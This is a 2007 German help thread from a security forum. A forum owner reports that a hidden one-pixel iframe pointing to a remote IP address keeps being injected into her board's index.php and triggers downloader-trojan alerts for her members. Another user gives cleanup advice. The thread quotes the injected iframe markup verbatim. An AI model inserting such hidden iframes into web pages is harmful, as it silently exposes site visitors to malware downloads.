Trojaner-Board

Trojaner-Board (https://www.trojaner-board.de/)
-   Plagegeister aller Art und deren Bekämpfung (https://www.trojaner-board.de/plagegeister-aller-art-deren-bekaempfung/)
-   -   Was ist das? (https://www.trojaner-board.de/39817-a.html)

Bea 10.06.2007 11:09

Was ist das?
 
Hallo
Bin neu hier und habe euch durchzufall gefunden..ich hoffe bin hier richtig mit dem was ich poste :)

Also es geht um Folgendes...Ich habe ein Board das wbb2.3.6 und seit ei igen tagen stimmt da was nicht...in der index.php schleicht sich immer dieses ein <iframe src='http://81.95.149.28/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe> .. und von da an wird bei meinen Mitgliedern der Virenalarm ausgelöst..

Ich habe meinen Kompletten PC gescannt mit antivirus..Trojanercheck gemacht ...adaware laufen lassen...aber nichts weisst auf einen Virus hin...ich hoffe ihr könnt mir helfen ..

Liebe GRüsse Bea

Yopie 10.06.2007 11:30

Kannst du spanisch?
Foro dev-postnuke.com :: Posible fallo de seguridad AYUDA!! :: Dev-Postnuke.com :: Comunidad hispana PHP-Postnuke - In Postnuke We Trust

Ich würde mal den Hoster kontaktieren.

Siehe auch:
Server bei 1&1 gehackt ? - Joomla CMS Support Forum
http://www.network-secure.de/index.p...=4872&Itemid=1

Gruß :daumenhoc
Yopie

Bea 10.06.2007 11:49

Hmmm und was kann ich jetzt dagegen machen?? Ich habe dem besitzer des servers bescheid gegeben und er meint das würde nur in meinem Board so sein...was ich nicht verstehe..

Bei den Mitgliedern wird dieses als Virenmeldung angezeigt

TR/Dldr.Stration.gen
Tr/Dldr.Agent.HQ.3

ich hab komischerweise keine Virenmeldung..

Yopie 10.06.2007 11:58

Zitat:

Zitat von Bea (Beitrag 272903)
Hmmm und was kann ich jetzt dagegen machen?

Die php-Dateien untersuchen und dort die Einträge entfernen.

Virus gefunden - xt:Commerce Webshop Software Europe

Ob du oder der Serverbetreiber für die Sicherheitslücke verantwortlich ist kann ich nicht beurteilen.

Gruß :daumenhoc
Yopie

Bea 10.06.2007 12:01

das haben wir schon gemacht...nur leider ist es nach wenigen stunden wieder da...

Yopie 10.06.2007 12:11

Zitat:

Zitat von Bea (Beitrag 272907)
das haben wir schon gemacht...nur leider ist es nach wenigen stunden wieder da...

Dann ist der Server bzw. deine Konfiguration nicht sicher.

Also: Entweder professionelle Hilfe besorgen, oder Server bzw. deine Seiten vom Netz nehmen.

Gruß :daumenhoc
Yopie

Bea 10.06.2007 12:22

ok danke...

Bea 10.06.2007 12:24

Jetzt möchte ich doch nochmal was wissen..

Also ich habe das Board übernommen und aus meinem Board die einträge kopiert und eingesetzt..kann ich mir da den Virus eingepackt haben??

ich habe mein Style hochgeladen und es reingemacht...kann da ein Virus drin sein? Weil man mir sagt sowas würde nicht gehen..

Sonst habe ich da keine Veränderungen gemacht...denn der Besitzer macht mich jetzt dafür verantwortlich..

Yopie 10.06.2007 12:50

Keine Ahnung.

Mein Tip an dich wäre, mal bei anderen betroffenen nachzufragen, über welche Sicherheitslücke die Dateien geändert wurden.

Gruß :daumenhoc
Yopie

Yopie 19.06.2007 19:04

Vielleicht passt diese SpOn-Meldung zum Problem?

Hack-Attack: Trojaner infiziert über 11.000 Webseiten - Netzwelt - SPIEGEL ONLINE - Nachrichten

Und Heise

Gruß :daumenhoc
Yopie


Alle Zeitangaben in WEZ +1. Es ist jetzt 23:03 Uhr.

Copyright ©2000-2025, Trojaner-Board


Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131